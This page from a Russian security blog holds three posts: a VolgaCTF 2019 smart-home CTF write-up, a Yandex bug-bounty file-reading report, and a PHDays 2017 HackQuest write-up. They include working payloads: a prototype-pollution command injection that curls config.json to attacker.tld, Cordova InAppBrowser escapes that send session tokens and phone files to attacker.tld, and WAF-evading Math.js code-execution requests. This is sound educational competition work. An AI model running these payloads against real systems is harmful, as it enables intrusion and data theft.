Показаны сообщения с ярлыком nodejs. Показать все сообщения
Показаны сообщения с ярлыком nodejs. Показать все сообщения

20 сентября 2019

VolgaCTF 2019 SmartHome Writeup

В этом году я подготовил для финала VolgaCTF дополнительный конкурс, посвященный взлому типичной инфраструктуры с которой работают умные дома. У конкурса не было конкретных указаний что именно нужно взломать, а был лишь указан scope:

Выглядело это примерно так:

Flag 0

Первым делом необходимо было собрать информацию о поддоменах пробрутив dns, либо посмотрев на список выпущенных сертификатов.

https://crt.sh/?q=%.volgactf-iot.pw

ftp.volgactf-iot.pw  
storage.volgactf-iot.pw  
mqtt.volgactf-iot.pw  
api.volgactf-iot.pw  

FTP сервер содержал исходный код gateway на node.js и Flag 0.

Flag 1

После авторизации на API сервере мобильное приложение создает учетную запись для подключения к MQTT, чтобы взаимодействовать напрямую с gateway.

MQTT сервер позволял пользователям подписываться на сообщения системных топиков $SYS, в который MQTT брокер публикует информацию о клиентах, в числе которых был пользователь с флагом.

mqtt = require('mqtt');
var client  = mqtt.connect({host: 'mqtt.volgactf-iot.pw',
        protocol: 'mqtts',
        port: 8883,
        path: '/',
        clientId: 'clientid_user_526b14197252d44448df004c90652d52', 
        username: 'user', 
        password: '912a5b',
    });
client.on('connect', function () {
    client.subscribe('$SYS/#', function (err) {})
})
client.on('message', function (topic, message) {
  console.log(topic, message.toString())
})

На этом этапе можно было также заметить, что хэш в конце clientid - это md5 от 6-ти символьного пароля пользователя. И, дождавшись подключения администратора к MQTT, можно было получить учетную запись для доступа к gateway администратора, сбрутив пароль.

Flag 2

Gateway представлял собой Raspberry Pi Zero W с камерой, USB dongle CC2531 и датчик движения от Xiaomi. Изначально предполагалось повесить его в зале докладов и делать фотографии по датчику движения, но из-за технических проблем это не получилось сделать.

В исходном коде gateway было указано 2 флага. Для доступа к первому достаточно было послать на gateway команду get_flag и получить ответ в соответствующем топике.

client.subscribe('gateway/gateway02/clientid_user_526b14197252d44448df004c90652d52', function (err) {})
client.publish('mobile/user/clientid_user_526b14197252d44448df004c90652d52', '{"cmd":"get_flag"}');

Flag 3

Второй флаг gateway был указан лишь в конфигурационном файле и не использовался в коде. Для доступа к нему необходимо было проэксплуатировать атаку Prototype Pollution. Подробнее о ней можно почитать тут
https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf.

function photo(client_id, command) {
    ...
    camera.snap()
        .then((result) => {
            ...
                    result = JSON.parse(body);
                    if(result.result) {
                        merge(result, command);
                        mqttPublish(client_id, command);

JSON объект с командой photo, отправленной пользователем, попадал в функцию merge.

function merge(obj1, obj2) {
    for (var attr in obj2) { 
        if(attr === '__proto__') continue;
        if(typeof obj2[attr] == 'object') 
            merge(obj1[attr], obj2[attr]); 
        obj1[attr] = obj2[attr]; 
    }
}

Но для перезаписи неинициализированных полей объекта нельзя было использовать __proto__, который обычно указан в PoC Prototype Pollution Attack. Участники должны были найти, что атака возможна также через constructor.prototype. Таким образом - следующая команда добавляла к любому объекту поле test со значением test2.

{"cmd":"photo","device_id":2,"constructor":{"prototype":{"test":"test2"}}}

В качестве подсказки из конфигурационного файла использовалась неинициализированная переменная filename, которая попадала в модуль pi-camera при создании фотографии. Данный модуль является оберткой для node.js над консольными утилитами получения изображений с Raspberry Pi Camera.

    image = this.config.camera.filename ? this.config.camera.filename : '/home/pi/gateway/images/output.jpg';
    camera = new piCamera({
        mode: 'photo',
        output: image,
    });

    camera.snap()

Причем в нем нет какой-либо обработки параметров и они попадают в child_process.exec в результате простой конкатенации.

const { exec } = require('child_process');
...
static run(fullCmd) {
...
exec(fullCmd, (error, stdout, stderr) => {
...
}
...
static cmd(base, params) {
...
return base + ' ' + params.join(' ');

Таким образом, получить RCE на gateway можно было послав в MQTT следующую команду:

{"cmd":"photo","device_id":2,"constructor":{"prototype":{"filename":" || curl -d \'@./config.json\' http://attacker.tld/ || "}}}

При следующем вызове камеры команда будет исполнена, а gateway, получив ошибку, перезагрузится.

Flag 4 & 5

Данные флаги хранились на gateway администратора, то есть для их получения нужно повторить эксплоиты Flag 2 и Flag 3, отправив их на другой gateway. Но для этого необходимо получить доступ к учетной записи MQTT от администратора. Это можно было сделать через MQTT топик $SYS, как описано в Flag 1, либо проэксплуатировать мобильное приложение на телефоне администратора и получить сессию для API сервера, о чем будет сказано в Flag 9.

Flag 6

Фотографии сделанные gateway отправлялись на API сервер, который сохранял их в Amazon S3. Мобильное приложение для доступа к файлами запрашивало подписанную ссылку через API сервер. Выглядело это следующим образом:

Скрипт /cloud/sign не проверял принадлежность файла клиенту и подписывал любое указанное значение, но для получения флага необходимо было знать имя файла. Получить листинг файлов в S3 можно было обойдя проверку на API сервере и подписать ссылку на корень:

/cloud/sign?file=/..

Другим вариантом было получение листинга через авторизованного пользователя S3. Но для начала необходимо было получить имя bucket, так как всё взаимодействие с Amazon S3 было сделано через CloudFront. Сделать это можно было вызвав ссылку с некорректной подписью:

Либо взять его из мобильного приложения, где bucket указан в Content Security Policy.

<meta http-equiv="Content-Security-Policy" content="
default-src 'self' data: gap: https://ssl.gstatic.com 'unsafe-eval'; 
style-src 'self' 'unsafe-inline'; 
media-src *; 
img-src 'self' data: content: https://volgactf-iot-storage.s3.eu-west-2.amazonaws.com https://storage.volgactf-iot.pw; 
connect-src https://api.volgactf-iot.pw/ wss://mqtt.volgactf-iot.pw:8083 ">

После чего, получить листинг через консольные утилиты s3 от авторизованного пользователя.

aws s3 ls s3://volgactf-iot-storage
2019-09-02 17:52:12         51 flag_G42ZScXARPIEIJ4HIEEY.txt

И уже зная имя файла, подписать ссылку на доступ к нему в S3.

Небезопасная настройка с доступом к S3 от любого авторизованного пользователя была довольно распространена ранее, так как ее включали через пользовательский интерфейс, недостаточно понимая, что именно она значит. Теперь Amazon значительно затруднил это, и в пользовательском интерфейсе она появляется только после того, как данное правило было вручную прописано в ACL.

Подробнее о данных уязвимостях:
https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/
https://labs.detectify.com/2018/08/02/bypassing-exploiting-bucket-upload-policies-signed-urls/

Flag 7

Flag 7 представлял собой распечатанный листок, на который была направлена камера gateway администратора. Получить данный флаг можно было как просто отправив команду photo в MQTT от администратора, так и через RCE в результате эксплуатации Prototype Pollution.

Flag 8

Для доступа к остальным флагам необходимо было атаковать мобильное приложение на телефоне администратора. Чтобы участники могли делать это удаленно, был написан Telegram Bot, который передавал ссылку от участников через Firebase Cloud Message на атакующее мобильное приложение, которое, в свою очередь, просто открывало ссылку в стандартном браузере на Android. В целом все выглядело так, как будто пользователь просто проходит по ссылке из telegram сообщения.

String url = remoteMessage.getData().get("url");
Intent intent = new Intent("android.intent.action.VIEW");
intent.addCategory("android.intent.category.BROWSABLE");
intent.setData(Uri.parse(url));
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
this.getApplicationContext().startActivity(intent);

Само приложение VolgaCTF SmartHome было основано на Apache Cordova, то есть, по сути представляло собой WebView с дополнительной функциональностью, реализованной в плагинах.
Взаимодействовать с приложением SmartHome можно было через зарегистрированное BROWSABLE Activity.

<intent-filter android:label="@string/launcher_name">
  <action android:name="android.intent.action.VIEW" />
  <category android:name="android.intent.category.DEFAULT" />
  <category android:name="android.intent.category.BROWSABLE" />
  <data android:host="smarthome" android:scheme="volgactf" />
</intent-filter>

Открыть приложение через Telegram бота можно отправив ссылку с перенаправлением на URL volgactf://smarthome/

https://attacker.tld/redirect?url=volgactf://smarthome/

В приложении это использовалось для открытия внешних ссылок через специальный плагин InAppBrowser, который специально разработан для отображения страниц в изолированном WebView без доступа к Cordova плагинам.

function urlScheme(uri) {
        if(uri != '' && uri != null) {
            intentUri = new URL(uri);
            url = intentUri.searchParams.get('url');
            if((url != null) && (url.startsWith(MAIN_HOST))) {
                cordova.InAppBrowser.open(url + '#' + FLAG, '_blank', 'location=yes');
            }
        }
    }

Единственное условие, которое ограничивает - ссылка должна начинаться с подстроки https://volgactf-iot.pw.
Обойти это можно было:

  • Настроив HTTPS на поддомене вида https://volgactf-iot.pw.attacker.tld
  • Или отбросив начало хоста с помощью @ https://volgactf-iot.pw@attacker.tld

Пример получения Flag 8, который добавлялся в location.hash ко всем ссылкам, открываемым в InAppBrowser:

https://attacker.tld/redirect?url=volgactf://smarthome/?url=https://volgactf-iot.pw.attacker.tld/

<script>fetch("https://attacker.tld/sniffer/?zzz="+location.hash.slice(1));</script>

Flag 9

Последние 2 флага никто не успел получить за время соревнования. На данном этапе у участников была возможность выполнять свой JavaScript код в изолированном WebView InAppBrowser, но необходимо было поднять привилегии и выполнить JS код в основном окне Cordova, где хранилась сессия администратора для API сервера и доступ к плагинам чтения файлов на телефоне.

Перед дальнейшей эксплуатацией желательно пересобрать Android приложение добавив debuggable флаг в AndroidManifest.xml. Это бы разрешило удаленную отладку WebView в Cordova через Chrome.
Подробнее об этом:
https://developers.google.com/web/tools/chrome-devtools/remote-debugging/webviews

Погуглив можно было найти CVE-2014-0073.
https://d3adend.org/blog/posts/cordova-inappbrowser-remote-privilege-escalation/

В данной уязвимости описывается возможность выполнить JS код через некорректную обработку коллбэков, с помощью которых InAppBrowser общается с основным WebView. Оказалось, что данная уязвимость была исправлена только в iOS и плагин для Android был уязвим вплоть до 2019 года, пока я не отправил информацию в Apache, обнаружив уязвимость на рабочем проекте.

https://github.com/apache/cordova-plugin-inappbrowser/commit/686108484e6a7c1a316d7c6bc869c209c46d27e3

Пример вызова callback:

iOS
<iframe src="gap-iab://InAppBrowser85943/['some','data','in','a','JSON','array']"></iframe>

Android
<script>
prompt("gap-iab://InAppBrowser85943/['some','data','in','a','JSON','array']");
</script>

Пример выполнения JS в основном окне Cordova из inAppBrowser:

<script>
prompt("","gap-iab://InAppBrowser\');alert(12345);//")
</script>

И последнее, что отделяет от получения сессии администратора - Content Security Policy, прописанный в index.html.

CSP не запрещает выполнять JS, но мешает отправить данные обратно к атакующему. Это легко обходится через media-src: *

<script>
prompt("","gap-iab://InAppBrowser\');document.write(\\"<audio src=https://attacker.tld/\\"+window.localStorage.getItem(\'iot_session\')+\\">\\")//")
</script>

Flag 9 возвращается при запросе https://api.volgactf-iot.pw/user с админской сессией.

Flag 10

В последнем задании необходимо было получить фотографию из истории сообщений Telegram администратора.
У приложения SmartHome был доступ на чтение файлов с SDCARD, а используемый плагин для HTTP запросов cordova-plugin-advanced-http имел в зависимостях плагин для работы с файлами.

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />

В результате для листинга директорий и чтения файлов получились следующие вектора.

Листинг директории /sdcard/Telegram/Telegram Images/

<script>
prompt("","gap-iab://InAppBrowser');window.resolveLocalFileSystemURL(\"file:///sdcard/Telegram/Telegram%20Images/\",function(dirEntry){dirEntry.createReader().readEntries(function(entries){result=\"\";for(i=0;i<entries.length;i++){result+=entries[i].name+\";\";}document.write(\"<audio src=https://attacker.tld/\"+btoa(result)+\">\")});});//")
</script>

Чтение файлов

<script>
prompt("","gap-iab://InAppBrowser');window.resolveLocalFileSystemURL(\"file:///sdcard/Telegram/Telegram%20Images/\",function(dirEntry){dirEntry.createReader().readEntries(function(entries){for(i=0;i<entries.length;i++){document.write(\"<audio src=https://attacker.tld/filename:\"+btoa(entries[i].name)+\">\");entries[i].file(function(file){reader=new FileReader();reader.onloadend=function(){document.write(\"<audio src=https://attacker.tld/\"+this.result+\">\");};reader.readAsDataURL(file);});}});});//")
</script>

03 января 2018

[pda-test.yandex.ru] Arbitrary File Reading


Для автоматизации простых проверок на сайтах bug bounty я использую два php скрипта. Первый собирает поддомены с разных источников (например, crt.sh, virustotal, shodan) для программ, где scope указан в виде *.blah.com. Второй скрипт уже непосредственно ищет уязвимости по всему списку хостов, которые можно проверить за 1 запрос. Именно они и находят все эти пачки CRLF Injection и Open Redirect из моего профиля на hackerone. Причем, чем больше уязвимостей раскрываешь на h1, тем реже они потом находятся скриптами :)

Придумывая новые идеи для второго скрипта, я решил проверить раскрытие исходного кода для JS приложений. Иногда из-за неправильной настройки приложения раздача статических файлов может быть из той же папки, где находится и серверный JS код.

/app.js
/server.js

Данная проверка выстрелила на одном из поддоменов Yandex.

https://pda-test.yandex.ru/app.js

Данный файл был серверным JS кодом, но не содержал никакой интересной информации и больше был похож на шаблон. Поэтому я дополнительно перебрал js файлы по словарю. В случае, если имя файла содержало нижнее подчеркивание и заканчивалось на “.js”, сервер выдавал stacktrace.

За счет того, что nginx не нормализует path traversal с использованием обратного слэша, а NodeJS корректно его обрабатывает, удалось получить чтение js кода из произвольной папки. Подробнее про это можно прочитать тут - Arbitrary File Reading in Next.js. Единственным условием было наличие в пути нижнего подчеркивания, причем вариант “fake_path/../realfile” не работал. К счастью, в stacktrace был путь до папки node_modules, которую я и использовал.

Протестировав варианты отбрасывания постфикса “.js” внезапно отработал %3F, что в результате дало чтение произвольных файлов.

Более того, прав хватало даже на чтение /etc/shadow.

PS: Пользователь с логином zlietapki особенно порадовал.

13 мая 2017

PHDays 2017 HackQuest Writeup


Краткий разбор заданий с PHDays 2017 HackQuest.

SteckTechs


На клиенте собирается выражение с суммой очков, которое выполняется на сервере.
https://stack.rosnadzorcom.ru/result?expr=2+2
Из сообщения об ошибке узнаем, что это Node.js и Math.js.

SyntaxError: End of string " expected (char 2)
    at createSyntaxError (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1524:17)
    at parseStringToken (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1282:13)
    at parseString (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1248:13)
    at parseSymbol (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1143:12)
    at parseCustomNodes (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1120:12)
    at parseLeftHandOperators (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1034:12)
    at parsePow (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1012:12)
    at parseUnary (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:1000:12)
    at parseMultiplyDivide (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:932:12)
    at parseAddSubtract (/var/njs/www/mathjs-3.10.1/lib/expression/parse.js:906:12)

Находим статью по эксплуатации этой уязвимости:

https://capacitorset.github.io/mathjs/

Кромсаем готовые вектора с помощью concat, чтобы обойти WAF.

Чтение файлов

GET /result?expr=cos.constructor(concat("a=new%20Buffer(10000);pro","cess.bind","ing('fs').read(pro","cess.bind","ing('fs').op","en('WAFWAF_ex","ec_jk.txt',0,0600),a,0,10000);return%20a.toString('ascii')"))() HTTP/1.1
Host: stack.rosnadzorcom.ru

Выполнение команд

GET /result?expr=cos.constructor(concat("spawn_sync%20=%20pr","oce","ss.binding('spawn_sync');%20normalizeSpawnArguments%20=%20fun","cti","on(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined%26%26(a={}),a=Object.assign({},a),a.shell){const%20g=[c].concat(b).join('%20');typeof%20a.shell==='str","ing'?c=a.shell:c='/b","in/s","h',b=['-c',g];}typeof%20a.argv0==='str","ing'?b.unshift(a.argv0):b.unshift(c);var%20d=a.en","v||pr","oc","ess.e","nv;var%20e=[];for(var%20f%20in%20d)e.push(f%2b'='%2bd[f]);return{fi","le:c,args:b,opti","ons:a,en","vPairs:e};};spawnSync%20=%20fun","cti","on(){var%20d=normalizeSpawnArg","uments.apply(null,ar","guments);var%20a=d.op","t","i","ons;var%20c;if(a.fi","le=d.fi","le,a.ar","gs=d.ar","gs,a.e","nvPairs=d.e","nvPairs,a.st","di","o=[{type:'pi","pe',rea","dable:!0,wr","itable:!1},{type:'pi","pe',re","adable:!1,wr","itable:!0},{type:'pi","pe',re","adable:!1,wri","table:!0}],a.i","np","ut){var%20g=util._extend({},a.stdi","o[0]);g.inpu","t=a.inpu","t;}for(c=0;c<a.stdi","o.length;c%2b%2b){var%20e=a.stdi","o[c].inpu","t;if(e!=null){var%20f=util._extend({},a.stdi","o[c]);isUint8Array(e)?f.inpu","t=e:f.inpu","t=Buffer.from(e,a.encoding);}}var%20b=spawn_sync.spawn(a);if(b.outpu","t%26%26a.encoding%26%26a.encoding!=='buffer')for(c=0;c<b.outpu","t.length;c%2b%2b){if(!b.outpu","t[c])continue;x=b.outpu","t[c].toString(a.encoding);}return%20b.stdout=b.outpu","t%26%26b.outpu","t[1],b.stderr=b.outpu","t%26%26b.outpu","t[2],b.error%26%26(b.error=%20b.error%20%2b%20'spawnSync%20'%2bd.fi","le,b.error.pa","th=d.fi","le,b.error.spawnar","gs=d.ar","gs.slice(1)),b;};return%20spawnSync('/bin/ls')['outp","ut'][1].toString();"))() HTTP/1.1
Host: stack.rosnadzorcom.ru

Читаем флаг из /WAFWAF_exec_jk.txt

md5('::L3g3nd4ry_l1v3__3t3rn@ally^')

После прохождения узнаем, что проще было использовать base64

new Buffer("b2xvbG8=", "base64").toString()

И что многие участники не создавали функцию, а просто вызывали уже созданную другими участниками. То есть все решение было примерно таким:

https://stack.rosnadzorcom.ru/result?expr=cos.constructor("return+spawnSync('sh',['-c','cat+WAF*'])")()

1.png


https://rosnadzorcom.ru/1.png

Пустая картинка, смотрим альфа-канал в Stegsolve.

stegsolve1

stegsolve2

Извлекаем из каждого блока 10x10 по одному пикселю и опять извлекаем данные с помощью Stegsolve. Получается JS код:

[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]+[+[]]+[+[]]+[+!+[]]+[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+!+[]]+[+[]]+[+!+[]]

Он выводит строку из символов 0, 1 и 2. Выравниваем ее по 2.

